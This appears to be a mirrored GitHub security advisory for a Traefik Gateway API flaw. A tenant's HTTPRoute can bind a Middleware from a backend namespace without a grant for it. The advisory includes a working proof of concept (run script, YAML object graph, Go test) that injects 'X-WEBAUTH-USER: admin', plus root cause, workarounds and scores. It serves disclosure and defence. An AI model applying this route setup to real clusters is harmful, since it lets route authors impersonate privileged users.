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GHSA-qq9q-x9w4-chhj

MediumCVSS 5.3 / 10
Published Aug 5, 2026·Last modified Aug 5, 2026
Affected Components(0)

No affected components available

Description

Summary

There is a medium-severity namespace-confusion vulnerability in Traefik's Kubernetes Gateway API provider. When resolving HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef, Traefik used the backend Service namespace instead of the HTTPRoute namespace. A low-privileged route author holding a ReferenceGrant for a cross-namespace Service could therefore bind a Traefik Middleware from the backend namespace without a separate grant for that middleware. If the reused middleware sets trusted reverse-proxy identity headers, downstream applications may receive attacker-selected authenticated-identity state. The fix resolves extensionRef against the HTTPRoute namespace.

Patches

  • https://github.com/traefik/traefik/releases/tag/v3.7.7

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary

Traefik's Kubernetes Gateway API provider resolves HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef in the backend Service namespace instead of the HTTPRoute namespace. A low-privileged route author with a permitted cross-namespace Service reference can therefore bind a Traefik Middleware from the backend namespace without a separate grant for that middleware. If the reused middleware sets trusted reverse-proxy identity headers, downstream applications can receive attacker-selected authenticated identity state.

Description

Gateway API ReferenceGrant allows a namespace owner to grant a route in another namespace permission to reference a specific backend object, such as a Service. That grant should not implicitly authorize the route author to bind other policy objects in the backend namespace.

In the affected code path, Traefik copies backendRef.namespace into a local namespace variable. It correctly uses that namespace to validate and load the backend Service, but then reuses the same namespace when resolving backendRef.filters[].extensionRef. For Traefik CRD Middleware extension filters, the CRD provider turns (namespace, name) into a dynamic middleware reference such as:

platform-privileged-auth-header@kubernetescrd

As a result, a tenant route in tenant-a can bind a middleware named privileged-auth-header from the backend namespace platform, even though the Gateway API ReferenceGrant only granted access to platform/protected-api Service.

Impact

The PoC demonstrates that an attacker-authored HTTPRoute can cause Traefik to attach a backend-namespace Headers middleware to the generated backend service. The middleware injects:

X-WEBAUTH-USER: admin

That is a realistic downstream primitive because many applications support trusted reverse-proxy authentication headers when deployed behind a gateway. Separate Docker validation showed this header-auth class can map to authenticated identities in Grafana, Gitea, Jenkins, SonarQube, and Nexus Repository when those products are intentionally configured for reverse-proxy authentication.

This is not a bug in those downstream applications and this PoC does not claim direct Traefik host RCE, sandbox escape, private-key exfiltration, or default cluster takeover. The Traefik vulnerability is unauthorized middleware binding across a Gateway API namespace boundary.

Proof Of Concept

Files

<details> <summary>run.sh</summary>
#!/usr/bin/env sh
set -eu

TARGET_REF="${TARGET_REF:-v3.7.5}"
REPO_URL="${REPO_URL:-https://github.com/traefik/traefik.git}"
SCRIPT_DIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)"
WORKDIR="${WORKDIR:-$(mktemp -d "${TMPDIR:-/tmp}/traefik-gw-extref-poc.XXXXXX")}"

if [ "${KEEP_WORKDIR:-0}" != "1" ]; then
	trap 'rm -rf "$WORKDIR"' EXIT INT TERM
fi

printf '[*] target_ref=%s\n' "$TARGET_REF"
printf '[*] workdir=%s\n' "$WORKDIR"

if [ -n "${TRAEFIK_SRC:-}" ]; then
	printf '[*] cloning from local source: %s\n' "$TRAEFIK_SRC"
	git clone -q "$TRAEFIK_SRC" "$WORKDIR/traefik"
	cd "$WORKDIR/traefik"
	git -c advice.detachedHead=false checkout -q "$TARGET_REF"
else
	printf '[*] cloning from remote: %s\n' "$REPO_URL"
	git -c advice.detachedHead=false clone -q --depth 1 --branch "$TARGET_REF" "$REPO_URL" "$WORKDIR/traefik"
	cd "$WORKDIR/traefik"
fi

mkdir -p pkg/provider/kubernetes/gateway/fixtures/httproute
cp "$SCRIPT_DIR/poc_gateway_extensionref_test.go" \
	pkg/provider/kubernetes/gateway/httproute_backend_filter_namespace_poc_test.go
cp "$SCRIPT_DIR/backendref_extension_filter_cross_namespace_poc.yml" \
	pkg/provider/kubernetes/gateway/fixtures/httproute/backendref_extension_filter_cross_namespace_poc.yml

if grep -Fq 'loadConfigurationFromGateways(ctx context.Context) (*dynamic.Configuration, *statusReport, error)' pkg/provider/kubernetes/gateway/kubernetes.go; then
	sed -i \
		-e 's/conf := p\.loadConfigurationFromGateways(t\.Context())/conf, _, err := p.loadConfigurationFromGateways(t.Context())/' \
		-e 's/require\.NotNil(t, conf)/require.NoError(t, err)/' \
		pkg/provider/kubernetes/gateway/httproute_backend_filter_namespace_poc_test.go
fi

printf '[*] running Gateway HTTPRoute backendRef ExtensionRef namespace-confusion PoC\n'
go test ./pkg/provider/kubernetes/gateway \
	-run '^TestPoCHTTPRouteBackendRefExtensionRefUsesBackendNamespace$' \
	-count=1 -v

printf 'POC_RESULT=PASS\n'
</details> <details> <summary>backendref_extension_filter_cross_namespace_poc.yml</summary>
---
apiVersion: v1
kind: Service
metadata:
  name: protected-api
  namespace: platform
spec:
  ports:
    - name: web
      protocol: TCP
      port: 80
      targetPort: web

---
kind: EndpointSlice
apiVersion: discovery.k8s.io/v1
metadata:
  name: protected-api-abc
  namespace: platform
  labels:
    kubernetes.io/service-name: protected-api
addressType: IPv4
ports:
  - name: web
    port: 8080
endpoints:
  - addresses:
      - 10.10.20.10
    conditions:
      ready: true

---
kind: GatewayClass
apiVersion: gateway.networking.k8s.io/v1
metadata:
  name: shared-gateway-class
spec:
  controllerName: traefik.io/gateway-controller

---
kind: Gateway
apiVersion: gateway.networking.k8s.io/v1
metadata:
  name: shared-gateway
  namespace: infra
spec:
  gatewayClassName: shared-gateway-class
  listeners:
    - name: http
      protocol: HTTP
      port: 80
      allowedRoutes:
        kinds:
          - kind: HTTPRoute
            group: gateway.networking.k8s.io
        namespaces:
          from: All

---
kind: ReferenceGrant
apiVersion: gateway.networking.k8s.io/v1beta1
metadata:
  name: allow-tenant-route-to-service
  namespace: platform
spec:
  from:
    - group: gateway.networking.k8s.io
      kind: HTTPRoute
      namespace: tenant-a
  to:
    - group: ""
      kind: Service
      name: protected-api

---
kind: HTTPRoute
apiVersion: gateway.networking.k8s.io/v1
metadata:
  name: tenant-route
  namespace: tenant-a
spec:
  parentRefs:
    - name: shared-gateway
      namespace: infra
      kind: Gateway
      group: gateway.networking.k8s.io
  hostnames:
    - attacker.example
  rules:
    - matches:
        - path:
            type: PathPrefix
            value: /
      backendRefs:
        - name: protected-api
          namespace: platform
          port: 80
          kind: Service
          group: ""
          filters:
            - type: ExtensionRef
              extensionRef:
                group: traefik.io
                kind: Middleware
                name: privileged-auth-header
</details> <details> <summary>poc_gateway_extensionref_test.go</summary>
package gateway

import (
	"net/http"
	"net/http/httptest"
	"testing"

	"github.com/stretchr/testify/assert"
	"github.com/stretchr/testify/require"
	"github.com/traefik/traefik/v3/pkg/config/dynamic"
	"github.com/traefik/traefik/v3/pkg/middlewares/headers"
	traefikv1alpha1 "github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/traefikio/v1alpha1"
	kubefake "k8s.io/client-go/kubernetes/fake"
)

func TestPoCHTTPRouteBackendRefExtensionRefUsesBackendNamespace(t *testing.T) {
	k8sObjects, gwObjects := readResources(t, []string{"httproute/backendref_extension_filter_cross_namespace_poc.yml"})

	kubeClient := kubefake.NewClientset(k8sObjects...)
	gwClient := newGatewaySimpleClientSet(t, gwObjects...)

	client := newClientImpl(kubeClient, gwClient)
	eventCh, err := client.WatchAll(nil, make(chan struct{}))
	require.NoError(t, err)
	if len(k8sObjects) > 0 || len(gwObjects) > 0 {
		<-eventCh
	}

	var resolvedRefs []string
	p := Provider{
		EntryPoints: map[string]Entrypoint{"web": {Address: ":80"}},
		client:      client,
	}

	p.RegisterFilterFuncs(traefikv1alpha1.GroupName, "Middleware", func(name, namespace string) (string, *dynamic.Middleware, error) {
		resolvedRefs = append(resolvedRefs, namespace+"/"+name)
		return namespace + "-" + name + "@kubernetescrd", &dynamic.Middleware{
			Headers: &dynamic.Headers{
				CustomRequestHeaders: map[string]string{
					"X-WEBAUTH-USER": "admin",
				},
			},
		}, nil
	})

	conf := p.loadConfigurationFromGateways(t.Context())
	require.NotNil(t, conf)

	var serviceConfig *dynamic.Service
	for _, service := range conf.HTTP.Services {
		for _, middlewareRef := range service.Middlewares {
			if middlewareRef == "platform-privileged-auth-header@kubernetescrd" {
				serviceConfig = service
			}
		}
	}

	require.Contains(t, resolvedRefs, "platform/privileged-auth-header")
	require.Contains(t, conf.HTTP.Middlewares, "platform-privileged-auth-header@kubernetescrd")
	require.NotNil(t, serviceConfig)
	require.Contains(t, serviceConfig.Middlewares, "platform-privileged-auth-header@kubernetescrd")

	seenUser := make(chan string, 1)
	backend := http.HandlerFunc(func(rw http.ResponseWriter, req *http.Request) {
		seenUser <- req.Header.Get("X-WEBAUTH-USER")
		rw.WriteHeader(http.StatusOK)
	})

	handler, err := headers.NewHeader(backend, *conf.HTTP.Middlewares["platform-privileged-auth-header@kubernetescrd"].Headers)
	require.NoError(t, err)

	recorder := httptest.NewRecorder()
	handler.ServeHTTP(recorder, httptest.NewRequest(http.MethodGet, "http://attacker.example/", nil))

	assert.Equal(t, http.StatusOK, recorder.Code)
	assert.Equal(t, "admin", <-seenUser)
	t.Logf("POC_RESULT_DETAIL=backend_extension_ref_resolved_namespace=%q middleware=%q injected_header=%q",
		"platform", "platform-privileged-auth-header@kubernetescrd", "X-WEBAUTH-USER: admin")
}
</details>

Requirements

  • git
  • Go toolchain compatible with the target Traefik tag. v3.7.5 uses go 1.25.0.
  • Network access to clone https://github.com/traefik/traefik.git and download Go modules on first run.

No local Traefik checkout or Kubernetes cluster is required by default.

Run

./run.sh

Optional target override:

TARGET_REF=v3.7.0 ./run.sh

Optional local-source override for faster validation:

TRAEFIK_SRC=/path/to/traefik TARGET_REF=v3.7.5 ./run.sh

Expected Result

The run should end with:

POC_RESULT_DETAIL=backend_extension_ref_resolved_namespace="platform" middleware="platform-privileged-auth-header@kubernetescrd" injected_header="X-WEBAUTH-USER: admin"
POC_RESULT=PASS

Root Cause

Line numbers below are from:

repository: https://github.com/traefik/traefik
tag:        v3.7.5
commit:     26c96a3935cafb473f4a5bae1886560d9aa4e4f0

1. Route-level filters use the route namespace

pkg/provider/kubernetes/gateway/httproute.go:143-144

// TODO loadMiddlewares errors could change the condition.
router.Middlewares, err = p.loadMiddlewares(conf, route.Namespace, routerName, routeRule.Filters, match.Path)

For filters directly on HTTPRoute.rules[], Traefik resolves extension filters relative to route.Namespace. This matches the Gateway API LocalObjectReference model.

2. BackendRef namespace overwrites the route namespace

pkg/provider/kubernetes/gateway/httproute.go:240-243

namespace := route.Namespace
if backendRef.Namespace != nil && *backendRef.Namespace != "" {
	namespace = string(*backendRef.Namespace)

For a cross-namespace backend Service, namespace becomes the backend namespace, for example platform.

3. ReferenceGrant checks only the backend object

pkg/provider/kubernetes/gateway/httproute.go:258-266

if err := p.isReferenceGranted(kindHTTPRoute, route.Namespace, group, string(kind), string(backendRef.Name), namespace); err != nil {
	return serviceName, &metav1.Condition{
		Type:               string(gatev1.RouteConditionResolvedRefs),
		Status:             metav1.ConditionFalse,
		ObservedGeneration: route.Generation,
		LastTransitionTime: metav1.Now(),
		Reason:             string(gatev1.RouteReasonRefNotPermitted),

This validates permission to reference the backend object, such as platform/protected-api Service.

4. The backend namespace is reused for backendRef filters

pkg/provider/kubernetes/gateway/httproute.go:269-277

middlewares, err := p.loadMiddlewares(conf, namespace, serviceName, backendRef.Filters, pathMatch)
if err != nil {
	return serviceName, &metav1.Condition{
		Type:               string(gatev1.RouteConditionResolvedRefs),
		Status:             metav1.ConditionFalse,
		ObservedGeneration: route.Generation,
		LastTransitionTime: metav1.Now(),

The same namespace variable now points to the backend namespace. Therefore an ExtensionRef inside backendRef.filters[] is resolved as platform/<middleware-name> instead of tenant-a/<middleware-name>.

5. CRD Middleware extension refs are qualified by the namespace supplied by Gateway provider

pkg/provider/kubernetes/crd/kubernetes.go:169-175

registry.RegisterFilterFuncs(traefikv1alpha1.GroupName, "Middleware", func(name, namespace string) (string, *dynamic.Middleware, error) {
	if len(p.Namespaces) > 0 && !slices.Contains(p.Namespaces, namespace) {
		return "", nil, fmt.Errorf("namespace %q is not allowed", namespace)
	}

	return makeID(namespace, name) + providerNamespaceSeparator + ProviderName, nil, nil

The namespace passed from loadMiddlewares() decides which CRD Middleware object becomes part of the dynamic service configuration.

6. Service-level middlewares are applied at runtime

pkg/server/service/service.go:186-194

if len(conf.Middlewares) > 0 {
	if m.middlewareChainBuilder == nil {
		// This should happen only in tests.
		return nil, errors.New("chain builder not defined")
	}
	chain := m.middlewareChainBuilder.BuildMiddlewareChain(ctx, conf.Middlewares)
	originalLB := lb
	var err error
	lb, err = chain.Then(lb)

The unauthorized middleware reference is not merely stored. Traefik applies service-level middlewares to the backend load balancer handler during normal HTTP service construction.

Minimal Exploit Shape

The PoC fixture contains the essential object graph:

tenant-a/HTTPRoute
  -> backendRef namespace: platform, name: protected-api
  -> backendRef.filters[].extensionRef: traefik.io/Middleware privileged-auth-header

platform/ReferenceGrant
  -> allows tenant-a HTTPRoute to reference platform/protected-api Service only

platform/protected-api Service

Traefik resolves the ExtensionRef as:
  platform/privileged-auth-header

In a real affected deployment, if platform/privileged-auth-header sets a trusted identity header, requests sent through the tenant route can reach the backend with that header injected by Traefik.

Workarounds

  • Avoid granting untrusted namespaces permission to attach HTTPRoute objects to shared Gateways that route to sensitive backends.
  • Do not place privileged or identity-bearing Traefik Middleware objects in namespaces that can be reached by untrusted cross-namespace HTTPRoute backend references.
  • Prefer route-local filters and explicitly audit HTTPRoute.rules[].backendRefs[].filters[].extensionRef usage.
  • Strip trusted reverse-proxy identity headers at backend application boundaries unless they originate from a dedicated authentication gateway.

Scope Boundary

Exploitation requires low-privileged route-author capability in a Kubernetes Gateway API deployment. A remote unauthenticated web client without HTTPRoute authoring capability cannot create the malicious route. If the shared Gateway is internet-facing, the final request that triggers the unauthorized middleware can be sent over the public network after the route is created.

</details>
Risk Scores
Base Score
5.3

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability.

Threat Intelligence
1.3

Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.

EPSS
0.27%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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